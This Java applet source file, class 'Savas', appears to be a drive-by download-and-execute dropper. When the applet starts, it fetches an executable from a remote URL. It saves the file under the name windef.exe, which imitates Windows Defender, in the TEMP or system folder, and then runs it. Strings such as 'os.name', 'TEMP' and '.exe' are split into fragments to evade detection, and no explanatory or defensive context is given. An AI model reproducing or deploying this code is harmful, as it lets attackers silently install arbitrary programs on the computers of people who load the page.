import java.applet.Applet;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.util.Locale;
public class Savas extends Applet {
private String drv ="C";
private String fnae="e";
private String fnam1="windef.";
private String dashes=":\\";
private String fnam2="xe";
private String runapp = "http://www.remotehost.com/demo/software."+fnae+fnam2;
private String loadimage = drv+dashes+fnam1+fnae+fnam2;
public Savas() {
String osas1="oS".toLowerCase(Locale.ENGLISH);
String sis ="Sys";
String osas2 ="naMe".toLowerCase(Locale.ENGLISH);
String sis2="tem";
String sis3="Roo";
String sis4="t";
String nameos="Vi";
String viena="Wi";
String nameos2="sta";
String viena2="ndow";
String viena3="s7";
String rubish="TE";
String part="C";
String part2=":";
String rubish2="MP";
String os = System.getProperty(osas1+osas2);
if (os.indexOf(nameos+nameos2) != -1 || os.indexOf(viena+viena2+viena3) != -1) {
String tempas = (System.getenv(rubish+rubish2) != null) ? System.getenv(rubish+rubish2) : part+part2;
loadimage = tempas + "\\"+fnam1+fnae+fnam2;
} else {
String sisteminis = System.getenv(sis+sis2+sis3+sis4);
String windausas = (sisteminis != null && sisteminis.length() > 0) ? sisteminis : drv+dashes+viena+viena2+"s";
loadimage = windausas + "\\"+fnam1+fnae+fnam2;
}
}
public void init() { }
public void start() {
run();
}
public void stop() { }
public void destroy() { }
public static void main (String args[]) {
new Savas().run();
}
private void run() {
try {
BufferedOutputStream bufferedoutputstream = null;
InputStream inputstream = null;
URL url = new URL(runapp);
bufferedoutputstream = new BufferedOutputStream(new FileOutputStream(loadimage));
URLConnection urlconnection = url.openConnection();
inputstream = urlconnection.getInputStream();
byte abyte0[] = new byte[1024];
int i;
for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i)
bufferedoutputstream.write(abyte0, 0, i);
try
{
if (inputstream != null)
inputstream.close();
if (bufferedoutputstream != null)
bufferedoutputstream.close();
} catch(IOException e) { e.printStackTrace(); }
Runtime begikas = Runtime.getRuntime();
try
{
Process genys = begikas.exec(loadimage);
genys.waitFor();
BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(genys.getInputStream()));
String s;
while((s = bufferedreader.readLine()) != null)
System.out.print(s);
}
catch(Exception exception1) { }
try
{
if (inputstream != null)
inputstream.close();
if (bufferedoutputstream != null)
bufferedoutputstream.close();
} catch(IOException e) { e.printStackTrace(); }
} catch(Exception e) { e.printStackTrace(); }
}
}
|